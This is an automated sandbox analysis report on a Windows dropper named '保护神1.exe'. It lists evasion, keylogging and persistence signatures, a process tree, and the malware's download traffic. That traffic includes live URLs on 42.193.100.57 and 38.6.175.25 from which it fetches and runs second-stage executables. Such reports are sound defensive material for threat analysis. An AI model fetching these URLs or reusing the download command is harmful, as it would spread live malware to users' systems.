Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
#U4fdd#U62a4#U795e1.exe

Overview

General Information

Sample name:#U4fdd#U62a4#U795e1.exe
renamed because original name is a hash value
Original sample name:1.exe
Analysis ID:1559170
MD5:f5b663e9aa9555b45bd9e88221083781
SHA1:3df73ded0310c3e70ce430118ced5073f75e0cc1
SHA256:2db7d9e24396db62672a83f5245a154a8b58d2099554aaa93ad2dcef1f18c513
Tags:exeopendiruser-Joker
Infos:

Detection

Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Detected VMProtect packer
Machine Learning detection for dropped file
Machine Learning detection for sample
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
PE file has a writeable .text section
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Contains functionality for read data from the clipboard
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates processes with suspicious names
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May check if the current machine is a sandbox (GetTickCount - Sleep)
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

  • System is w10x64
  • #U4fdd#U62a4#U795e1.exe (PID: 6648 cmdline: "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe" MD5: F5B663E9AA9555B45BD9E88221083781)
    • 16.exe (PID: 6340 cmdline: C:\Users\user\Desktop\ 16.exe MD5: 72AA0DBF54D8C3A47D3C3AA1BD875E1D)
      • update.exe (PID: 5272 cmdline: update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901 MD5: CA57BDFF74665A2A42A8CF4AD4593D9F)
  • #U4fdd#U62a4#U795e1.exe (PID: 5608 cmdline: "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe" MD5: F5B663E9AA9555B45BD9E88221083781)
  • cleanup
No configs have been found
No yara matches

System Summary

barindex
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe, ProcessId: 6648, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ 1
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-20T09:14:45.429724+010028033043Unknown Traffic192.168.2.114970242.193.100.5780TCP

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: C:\Users\user\Desktop\ 16.exeReversingLabs: Detection: 28%
Source: C:\Users\user\Desktop\update.exeReversingLabs: Detection: 60%
Source: #U4fdd#U62a4#U795e1.exeReversingLabs: Detection: 47%
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Source: C:\Users\user\Desktop\update.exeJoe Sandbox ML: detected
Source: C:\Users\user\Desktop\ 16.exeJoe Sandbox ML: detected
Source: #U4fdd#U62a4#U795e1.exeJoe Sandbox ML: detected
Source: #U4fdd#U62a4#U795e1.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,0_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,0_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00423610 FindFirstFileA,FindClose,0_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,0_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,0_2_00411EF0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,3_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,3_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00423610 FindFirstFileA,FindClose,3_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,3_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,3_2_00411EF0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004929E2 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,7_2_004929E2
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00438DA0 FindNextFileA,FindClose,FindFirstFileA,FindClose,7_2_00438DA0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0043BF10 FindFirstFileA,FindClose,7_2_0043BF10
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0042FF90 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,7_2_0042FF90
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 4x nop then push esi0_2_0041F502
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 4x nop then push esi3_2_0041F502
Source: global trafficTCP traffic: 192.168.2.11:49711 -> 38.6.175.134:9901
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 23 Jul 2024 08:08:40 GMTAccept-Ranges: bytesETag: "db12387d7dcda1:0"Server: Microsoft-IIS/8.5Date: Wed, 20 Nov 2024 08:14:44 GMTContent-Length: 6123520Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bd 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 9f 11 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 53 27 00 00 b0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e2 05 00 00 10 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 30 00 00 00 0a 36 29 00 00 00 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 c0 c3 5c 00 00 40 68 00 00 d0 5c 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 72 73 72 63 00 00 00 b5 8b 00 00 00 10 c5 00 00 90 00 00 00 e0 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 23 Jul 2024 08:08:40 GMTAccept-Ranges: bytesETag: "db12387d7dcda1:0"Server: Microsoft-IIS/8.5Date: Wed, 20 Nov 2024 08:14:45 GMTContent-Length: 6123520Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bd 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 9f 11 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 53 27 00 00 b0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e2 05 00 00 10 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 30 00 00 00 0a 36 29 00 00 00 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 c0 c3 5c 00 00 40 68 00 00 d0 5c 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 72 73 72 63 00 00 00 b5 8b 00 00 00 10 c5 00 00 90 00 00 00 e0 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 23 Jul 2024 08:08:40 GMTAccept-Ranges: bytesETag: "db12387d7dcda1:0"Server: Microsoft-IIS/8.5Date: Wed, 20 Nov 2024 08:14:58 GMTContent-Length: 6123520Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bd 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 9f 11 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 53 27 00 00 b0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e2 05 00 00 10 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 30 00 00 00 0a 36 29 00 00 00 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 c0 c3 5c 00 00 40 68 00 00 d0 5c 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 72 73 72 63 00 00 00 b5 8b 00 00 00 10 c5 00 00 90 00 00 00 e0 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global trafficHTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1Host: 42.193.100.57Cache-Control: no-cache
Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.11:49702 -> 42.193.100.57:80
Source: global trafficHTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: */*Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: global trafficHTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: */*Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: unknownTCP traffic detected without corresponding DNS query: 42.193.100.57
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004071EA InternetOpenUrlA,InternetReadFile,0_2_004071EA
Source: global trafficHTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: */*Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: global trafficHTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1User-Agent: Agent7207437Host: 42.193.100.57Cache-Control: no-cache
Source: global trafficHTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1Host: 42.193.100.57Cache-Control: no-cache
Source: global trafficHTTP traffic detected: GET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1Accept: */*Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtAccept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 42.193.100.57Cache-Control: no-cache
Source: global trafficHTTP traffic detected: GET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1User-Agent: Agent7220484Host: 42.193.100.57Cache-Control: no-cache
Source: #U4fdd#U62a4#U795e1.exeString found in binary or memory: http://.httpsset-cookie:;;
Source: 16.exe, 00000004.00000002.1879881423.00000000005FB000.00000002.00000001.01000000.00000007.sdmp, 16.exe, 00000004.00000002.1882768972.00000000013AD000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:901
Source: update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:901/down
Source: update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:901/downLq
Source: update.exe, 00000007.00000002.1905145272.0000000002160000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1905224498.00000000021A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:901/downhttp://38.6.175.25:901
Source: 16.exe, 00000004.00000002.1882225013.000000000134E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:901/downt
Source: update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:9018
Source: 16.exe, 00000004.00000003.1877794042.0000000002D51000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://38.6.175.25:901C:
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.0000000000666000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/
Source: #U4fdd#U62a4#U795e1.exeString found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt(
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt-U
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtKB-
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtSB5
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtY
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp, ???[1].txt.0.dr, ???[1].txt.3.drString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe#
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe(
